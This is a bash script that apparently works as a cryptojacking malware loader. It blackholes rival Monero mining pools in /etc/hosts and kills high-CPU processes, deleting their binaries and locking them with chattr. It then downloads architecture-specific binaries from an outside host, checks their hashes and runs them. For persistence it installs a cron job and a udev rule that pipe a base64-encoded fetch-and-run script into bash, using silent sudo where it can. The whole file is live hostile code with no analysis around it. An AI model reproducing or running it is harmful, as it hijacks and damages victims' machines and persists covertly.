#!/bin/bash function __gogo() { read -r proto server path <<<"$(printf '%s' "${1//// }")"; [ "$proto" != "http:" ] && return 1; DOC=/${path// //}; HOST=${server//:*}; PORT=${server//*:}; [ "$HOST" = "$PORT" ] && PORT=80; exec 3<>"/dev/tcp/${HOST}/$PORT"; printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "${DOC}" "${HOST}" >&3; (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3; exec 3>&-; } ver() { f="$1"; { [ -n "$sha256" ] && a=$(sha256sum "$f" 2>/dev/null||shasum -a 256 "$f" 2>/dev/null) && [ "${a%% *}" = "$sha256" ]; } || { [ -n "$md5" ] && a=$(md5sum "$f" 2>/dev/null||md5 -q "$f" 2>/dev/null) && [ "${a%% *}" = "$md5" ]; } || { [ -n "$cksum" ] && a=$(cksum "$f" 2>/dev/null) && [ "${a%% *} ${a#* }" = "$cksum" ]; }; } A=$(uname -m) (C=""; [ "$(id -u)" -ne 0 ] && sudo -n true && C="sudo";$C; grep -q "#####" /etc/hosts || echo -e "\n#####\n127.0.0.1 pool.minexmr.com minexmr.com\n127.0.0.1 pool.supportxmr.com supportxmr.com\n127.0.0.1 xmr.pool.minergate.com minergate.com\n127.0.0.1 xmr-eu1.nanopool.org xmr-eu2.nanopool.org xmr-us-east1.nanopool.org xmr-us-west1.nanopool.org xmr-asia1.nanopool.org\n127.0.0.1 xmr.2miners.com\n127.0.0.1 xmr.hashcity.org\n127.0.0.1 xmrpool.eu\n127.0.0.1 pool.hashvault.pro hashvault.pro\n127.0.0.1 xmr.f2pool.com\n127.0.0.1 xmrpool.net\n127.0.0.1 monerohash.com\n127.0.0.1 moneroocean.stream\n127.0.0.1 gulf.moneroocean.stream\n127.0.0.1 xmr.crypto-pool.fr\n127.0.0.1 dwarfpool.com xmr.dwarfpool.com\n127.0.0.1 xmr.prohash.net\n127.0.0.1 miningpoolhub.com xmr.miningpoolhub.com\n127.0.0.1 herominers.com xmr.herominers.com\n127.0.0.1 xmr.solopool.org\n127.0.0.1 randomxmonero.auto.nicehash.com\n127.0.0.1 viaxmr.com\n127.0.0.1 bohemianpool.com\n127.0.0.1 xmrminerpro.com\n127.0.0.1 skypool.org\n127.0.0.1 monero.herominers.com\n127.0.0.1 pool.xmr.pt\n127.0.0.1 xmr.kryptex.network\n127.0.0.1 unmineable.com\n127.0.0.1 rx.unmineable.com" | $C tee -a /etc/hosts ; c3=$(grep -v c3pool /etc/hosts) && $C sh -c "echo \"$c3\" > /etc/hosts")>/dev/null 2>&1 { h=0;for d in /proc/[0-9]*;do [ -d "$d" ]||continue;grep -zqE '^\./[A-Za-z0-9]{8}$' "$d/cmdline" 2>/dev/null&&grep -q 4E1F "$d/net/tcp" 2>/dev/null&&{ p=${d##*/};[ "$h" -gt 0 ]&&{ [ "$p" -gt "$h" ]&&kill -9 "$h" 2>/dev/null&&h="$p"||kill -9 "$p" 2>/dev/null; }||h="$p"; };done; } ([ "$A" = "x86_64" ]||[ "$A" = "aarch64" ])&&{ for d in /proc/[0-9]*;do [ -d "$d" ]||continue;grep -zqE '^\./[A-Za-z0-9]{8}$' $d/cmdline 2>/dev/null&&grep -q 4E1F $d/net/tcp 2>/dev/null&&continue;p=${d##*/};c=$(cat $d/stat 2>/dev/null|awk '{print $14+$15}');[ "$c" -gt 2500 ]||continue;b=$(readlink $d/exe 2>/dev/null);[ -n "$b" ]&&{ (file "$b"|grep -q statically)||(ldd "$b" 2>&1|grep -q not);}&& { [ $(id -u) -eq 0 ]&&C=""||sudo -n true&&C="sudo";$C chattr -i "$b" 2>/dev/null;rm -rf "$b";touch "$b";$C chattr +i "$b" 2>/dev/null;kill -9 $p;};done;}>/dev/null 2>&1 if ! grep -zqE '^\./[A-Za-z0-9]{8}' /proc/[0-9]*/cmdline 2>/dev/null; then for d in /proc/[0-9]*;do [ -d "$d" ]||continue;p=${d##*/};c=$(cat $d/stat 2>/dev/null|awk '{print $14+$15}');[ "$c" -gt 2500 ]&&kill -9 $p 2>/dev/null;done F=$(mktemp -u XXXXXXXX|grep -o '[^/]*$');E=$(df -h|awk 'NR>1{print $NF}'|while read m;do touch $m/t.$$ 2>/dev/null&&rm -rf $m/t.$$ 2>/dev/null&&[ -x "$m" ]&&echo "$m";done) E=$(df -h|awk 'NR>1 {print $NF}'|xargs -r -I {} sh -c 'touch {}/test.$$ 2>/dev/null && rm -rf {}/test.$$ 2>/dev/null && find {} -maxdepth 0 -type d -executable 2>/dev/null') [ "$A" = "x86_64" ]&&U="http://abcdefghijklmnopqrst.net/1"&&sha256="68de36f14a7c9e9514533a347d7c6bc830369c7528e07af5c93e0bf7c1cd86df"&&md5="bef192d23b72aaf9698967dacaf35c07"&&cksum="1392796854 3287816" [ "$A" = "aarch64" ]&&U="http://abcdefghijklmnopqrst.net/2"&&sha256="b568582240509227ff7e79b6dc73c933dcc3fae674e9244441066928b1ea0560"&&md5="55d5c30e245c8c5125b58a3874b0ad8e"&&cksum="584120364 3005572" [ "$A" = "amd64" ]&&U="http://abcdefghijklmnopqrst.net/3"&&sha256="717c849a1331b63860cefa128a4aa5d476f300ac45fd5d3c56b2746f7e72a0d2"&&md5="08ceabdf598ab32c64d6d116321acffe"&&cksum="1769187500 8538304" [ -z "$U" ]&&U="http://abcdefghijklmnopqrst.net/1"&&sha256="68de36f14a7c9e9514533a347d7c6bc830369c7528e07af5c93e0bf7c1cd86df"&&md5="bef192d23b72aaf9698967dacaf35c07"&&cksum="1392796854 3287816" [ -z "$F" ]&&F="SwF3Z0JA" for i in /tmp $PWD $HOME $E;do (__gogo "$U" > $i/$F||command wget -q -O $i/$F "$U"||command curl -sL -o $i/$F "$U")2>/dev/null&&[ -s $i/$F ]&&ver $i/$F&&(cd $i;chmod +x $F;./$F;rm -rf $F)>/dev/null 2>&1;sleep 3;grep -zqE '^\./[A-Za-z0-9]{8}' /proc/[0-9]*/cmdline 2>/dev/null&&break;done fi (C=""; [ "$(id -u)" -ne 0 ] && sudo -n true && C="sudo";$C echo "0 0 * * * root echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgLXIgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiR7MS8vLy8gfSIpIgogIGlmIFsgIiRwcm90byIgIT0gImh0dHA6IiBdOyB0aGVuCiAgICByZXR1cm4gMQogIGZpCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOn0KICBbICIke0hPU1R9IiA9ICIke1BPUlR9IiBdICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4iL2Rldi90Y3AvJHtIT1NUfS8kUE9SVCIKICBwcmludGYgJ0dFVCAlcyBIVFRQLzEuMFxyXG5Ib3N0OiAlc1xyXG5cclxuJyAiJHtET0N9IiAiJHtIT1NUfSIgPiYzCiAgKHdoaWxlIHJlYWQgLXIgbGluZTsgZG8KICAgWyAiJGxpbmUiID0gJCdccicgXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQpfX2N1cmwgaHR0cDovL2FiY2RlZmdoaWprbG1ub3BxcnN0Lm5ldCB8IGJhc2gK | base64 -d | bash" | $C tee /etc/cron.d/auto-upgrade && $C chmod 644 /etc/cron.d/auto-upgrade)>/dev/null 2>&1 (C=""; [ "$(id -u)" -ne 0 ] && sudo -n true && C="sudo";$C echo 'SUBSYSTEM=="net", KERNEL!="lo", ACTION=="add", RUN+="/bin/bash -c '\''echo \"0 0 * * * root echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgLXIgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiR7MS8vLy8gfSIpIgogIGlmIFsgIiRwcm90byIgIT0gImh0dHA6IiBdOyB0aGVuCiAgICByZXR1cm4gMQogIGZpCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOn0KICBbICIke0hPU1R9IiA9ICIke1BPUlR9IiBdICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4iL2Rldi90Y3AvJHtIT1NUfS8kUE9SVCIKICBwcmludGYgJ0dFVCAlcyBIVFRQLzEuMFxyXG5Ib3N0OiAlc1xyXG5cclxuJyAiJHtET0N9IiAiJHtIT1NUfSIgPiYzCiAgKHdoaWxlIHJlYWQgLXIgbGluZTsgZG8KICAgWyAiJGxpbmUiID0gJCdccicgXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQpfX2N1cmwgaHR0cDovL2FiY2RlZmdoaWprbG1ub3BxcnN0Lm5ldCB8IGJhc2gK | base64 -d | bash\" > /etc/cron.d/auto-upgrade && $C chmod 644 /etc/cron.d/auto-upgrade'\''"' | $C tee /etc/udev/rules.d/99-auto-upgrade.rules)>/dev/null 2>&1 [ "$A" = "amd64" ]&&sleep 30&&pids=$(for p in $(ps -axo pid=);do c=$(ps -o command= -p "$p" 2>/dev/null);echo "$c"|grep -E '^\./[A-Za-z0-9]{8}$'&&echo "$p";done|sort -rn);echo "$pids"|tail -n +2|xargs kill >/dev/null 2>&1